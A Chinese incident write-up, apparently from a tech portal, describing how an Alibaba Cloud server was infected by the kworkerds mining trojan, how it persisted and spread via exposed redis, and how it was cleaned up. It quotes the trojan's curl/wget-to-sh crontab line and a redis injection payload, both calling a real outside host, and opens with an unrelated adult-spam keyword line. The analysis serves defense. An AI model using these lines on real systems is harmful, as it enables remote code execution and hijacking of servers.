自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

記一次阿里云被植入挖礦木馬事件

安全 黑客攻防
很多朋友都在使用阿里云,但遇到過阿里云被植入木馬的情況么?小編今天就遇到了。阿里云有自己的安全機(jī)制,一般情況下不會(huì)有什么問題,那木馬又是被怎么植入的呢?今天為您解析。

一、起因

今天,同事說我負(fù)責(zé)的模塊在阿里云上不工作了,我趕忙遠(yuǎn)程登錄查看。

1. 服務(wù)器的癥狀

  • 敲命令的時(shí)候,終端的字符回傳很快,但是命令的響應(yīng)時(shí)間較長(zhǎng);
  • 服務(wù)器內(nèi)存32GB,剩余200MB;
  • CPU跑到了99%;
  • 我負(fù)責(zé)的模塊之前一直工作正常,穩(wěn)定性好,沒修改過配置,但現(xiàn)在不能工作;
  • 查看我負(fù)責(zé)的模塊配置正常、運(yùn)行正常,但部分服務(wù)出錯(cuò);
  • top命令未發(fā)現(xiàn)有高耗CPU的進(jìn)程,但是有大量的kworkerds進(jìn)程。

2. 定位分析

病癥1、3、6說明是阿里云服務(wù)器已經(jīng)產(chǎn)生了異常。

根據(jù)病癥4、5一步步梳理流程,核對(duì)日志,定位問題,最終發(fā)現(xiàn),redis可以正常提供服務(wù),但程序無法將數(shù)據(jù)刷新到redis,導(dǎo)致分別負(fù)責(zé)讀寫的兩個(gè)模塊數(shù)據(jù)長(zhǎng)時(shí)間不能同步,重啟redis后服務(wù)正常。但問題需要進(jìn)一步分析。

[[266594]]

二、查找木馬

服務(wù)器是與別人共用的,其他的服務(wù),我們不知道是否有用。但服務(wù)器卡頓,實(shí)在影響調(diào)試效率,搜索了一下kworkerds,才知道是個(gè)挖礦的木馬程序。

查看木馬進(jìn)程數(shù)

  1. [root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l 
  2. 385 

kill掉所有木馬進(jìn)程

  1. [root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9 

查看開機(jī)啟動(dòng)項(xiàng)和任務(wù)

  1.  [root@XXX ~]# systemctl list-unit-files 
  2.  (沒發(fā)現(xiàn)問題,就不貼進(jìn)來了) 
  3.  [root@XXX ~]# cat /etc/rc.local 
  4.  (沒發(fā)現(xiàn)問題,就不貼進(jìn)來了) 
  5.  [root@XXX ~]# cat /etc/crontab 
  6.  ... 
  7.  01 * * * * root run-parts /etc/cron.hourly 
  8.  02 4 * * * root run-parts /etc/cron.daily 
  9.  0 1 * * * root /usr/local/bin/dns 
  10. [root@XXX ~]# crontab -l 
  11. */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh 

“/etc/crontab”里的內(nèi)容看起來好像是正常,但是“crontab -l”中顯示的內(nèi)容有些來路不明。

于是下載代碼查看

  1. [root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1) 
  2. (木馬的代碼我就不貼進(jìn)來了) 

限于篇幅,木馬的代碼就不展示在此了,大家可以自行下載查看,記住,下載的時(shí)候要把"|sh"去掉,當(dāng)心玩火自焚。

三、分析木馬

木馬腳本寫得還是不錯(cuò)的,風(fēng)格整齊,邏輯嚴(yán)謹(jǐn)。出色地完成了以下功能:

  • 刪除阿里云云盾客戶端和阿里云監(jiān)控程序;
  • 停止、刪除主機(jī)已經(jīng)存在的其他挖礦程序;
  • 下載挖礦程序和配置文件并執(zhí)行;
  • 約束木馬程序,防止觸發(fā)服務(wù)器性能監(jiān)測(cè)工具告警;
  • 設(shè)置任務(wù)計(jì)劃,保持更新,持續(xù)感染主機(jī);
  • 通過本機(jī)感染其他主機(jī);
  • 清空操作日志,篡改文件修改時(shí)間,隱藏自己的訪問蹤跡。

木馬中同時(shí)用了shell和python兩種腳本,腳本逐層嵌套,對(duì)于一些敏感的代碼,使用了base64進(jìn)行加密,針對(duì)不同的系統(tǒng)平臺(tái)有不同的處理,同時(shí)鎖定了自己修改的文件,防止被別的程序隨意修改,提供遠(yuǎn)程服務(wù)的IP地址來自非洲東部的塞舌爾共和國(guó)。

四、木馬是如何傳播的

1. 傳播方式

木馬傳播方式有三種,如下:

  • activeMQ
  • redis
  • ssh的免密碼登錄

2. 傳播思路

木馬感染的步驟如下:

  • 通過掃描"xxx.xxx.0.0/16"網(wǎng)段內(nèi)的所有IP的6379和8186兩個(gè)端口;
  • 如果可以連接,那么以key-value的形式寫入數(shù)據(jù);
    1. 'set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n' 
  • 將該條數(shù)據(jù)以文件的形式保存到定時(shí)任務(wù)的文件目錄,如/var/spool/cron/root等;
  • 下個(gè)定時(shí)周期到來時(shí),服務(wù)器自動(dòng)下載遠(yuǎn)程腳本并執(zhí)行;
  • 遍歷該主機(jī)可以免密碼登錄的其他主機(jī),遠(yuǎn)程連接并執(zhí)行代碼。

遠(yuǎn)程腳本執(zhí)行時(shí),會(huì)重新修改定時(shí)任務(wù)等文件,保證可以持續(xù)感染主機(jī),同時(shí)也隱藏了第一次感染的痕跡。之后每個(gè)定時(shí)周期到來時(shí),都會(huì)重復(fù)4、5兩個(gè)步驟。

3. 排查漏洞

服務(wù)器中沒有activeMQ,沒有.ssh文件夾。小編也根據(jù)代碼流程,感染了一下自己的redis,但是并沒有達(dá)到預(yù)期的結(jié)果。

本人用的redis文件保存的時(shí)候是二進(jìn)制的,不是字符串,根本無法被定時(shí)任務(wù)執(zhí)行,但是修改感染腳本,可以完成黑客設(shè)置的既定思路。

結(jié)合阿里云之前修改過密碼的情況,本次感染可能有兩種來源:

  • 以前發(fā)現(xiàn)了被感染,但木馬沒有被清理干凈;
  • 木馬作者會(huì)定期修改自己的代碼來感染不同版本的redis,甚至是去利用其它軟件的漏洞。

另外一個(gè)代碼變動(dòng)的證據(jù)就是netstat命令的二進(jìn)制文件遭到篡改,這顯然是為了應(yīng)對(duì)運(yùn)維人員排查異常網(wǎng)絡(luò)連接而設(shè)計(jì)的,但本次檢查木馬代碼時(shí),并沒有發(fā)現(xiàn)與netstat命令有關(guān)的操作。

五、清理木馬

清理過程分兩步:刪除木馬文件和修補(bǔ)當(dāng)前漏洞。

1. 刪除木馬文件

根據(jù)木馬的代碼,寫了清理腳本,如下:

  1. #!/bin/bash 
  2. ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9 
  3.  
  4. chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload 
  5. echo "" > /usr/local/bin/dns 
  6. echo "" > /etc/cron.d/root 
  7. echo "" > /etc/cron.d/apache 
  8. echo "" > /var/spool/cron/root 
  9. echo "" > /var/spool/cron/crontabs/root 
  10. rm -rf /etc/cron.hourly/oanacroner 
  11. rm -rf /etc/cron.daily/oanacroner 
  12. rm -rf  /etc/cron.monthly/oanacroner 
  13.  
  14. sed -i '/cron.hourly/d' /etc/crontab 
  15. sed -i '/cron.daily/d' /etc/crontab 
  16. sed -i '/usr\/local\/bin\/dns/d' /etc/crontab 
  17.  
  18. #sed -i '$d' /etc/ld.so.preload 
  19. rm -rf /usr/local/lib/libntpd.so 
  20.  
  21. #/tmp/.a可以不刪,木馬是通過此文件判斷是否要卸載阿里云盾 
  22. #rm -rf /tmp/.a 
  23. rm -rf /bin/kworkerds 
  24. rm -rf /tmp/kworkerds 
  25. rm -rf /usr/sbin/kworkerds 
  26. rm -rf /etc/init.d/kworker 
  27. chkconfig --del kworker 

腳本僅供大家參考,在執(zhí)行之前還是要對(duì)照一下具體的環(huán)境。

除此之外,還需要排查一下系統(tǒng)中是否有異常用戶,異常的服務(wù)和異常的監(jiān)聽端口。畢竟服務(wù)器被入侵過,絕不能等閑視之。

2. 修補(bǔ)漏洞

以redis為例,修補(bǔ)漏洞有很多種方法:

  • 限制端口,使其對(duì)外不可連接;
  • 不要使用root運(yùn)行reids;
  • 及時(shí)更新軟件,修補(bǔ)漏洞;
  • 修改默認(rèn)端口;
  • 對(duì)重要命令重命名;

關(guān)于這個(gè)問題,阿里云也有詳細(xì)的安全加固方案:

https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC

編者的話

黑客一詞聽起來感覺酷酷的,因?yàn)槭澜缟洗_有一批崇尚用技術(shù)實(shí)現(xiàn)“開放、自由、真實(shí)、平等、美好生活”的人,他們離經(jīng)叛道,閃閃發(fā)光。然而,通常情況下非法獲取利益的黑客僅僅是一個(gè)小偷而已,喜歡的是不勞而獲,而不是技術(shù)本身,技術(shù)水平也只能是一般。

希望大家從技術(shù)交流,防范風(fēng)險(xiǎn)的角度看待文中提供的木馬資料,不要走上違法犯罪的道路。從另一個(gè)角度講,信息安全無小事,文中的木馬僅僅是挖礦,事實(shí)上,該漏洞足以讓黑客在你的服務(wù)器上做任何事,大家萬(wàn)萬(wàn)不可掉以輕心。

責(zé)任編輯:趙寧寧 來源: 麻辣軟硬件
相關(guān)推薦

2019-05-29 14:22:54

網(wǎng)絡(luò)安全網(wǎng)絡(luò)安全技術(shù)周刊

2019-11-06 09:36:16

服務(wù)器CPUTomcat

2019-08-26 09:50:09

2021-01-22 05:35:19

Lvm模塊Multipath

2022-09-14 12:01:35

服務(wù)器入侵篡改,

2021-11-11 16:14:04

Kubernetes

2009-03-20 10:58:47

2021-04-16 20:00:54

Docker鏡像攻擊

2022-01-07 11:48:59

RabbitMQGolang 項(xiàng)目

2014-08-11 09:31:52

2023-04-06 07:53:56

Redis連接問題K8s

2017-07-07 16:07:41

2022-02-17 11:19:33

Kubernetes服務(wù)器運(yùn)維

2013-04-01 10:27:37

程序員失業(yè)

2011-02-22 09:29:23

jQueryJavaScript

2017-12-19 14:00:16

數(shù)據(jù)庫(kù)MySQL死鎖排查

2019-03-15 16:20:45

MySQL死鎖排查命令

2021-12-20 10:15:16

zip密碼命令網(wǎng)絡(luò)安全

2023-06-07 07:31:04

PC端app脫殼技巧

2023-10-10 12:05:45

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)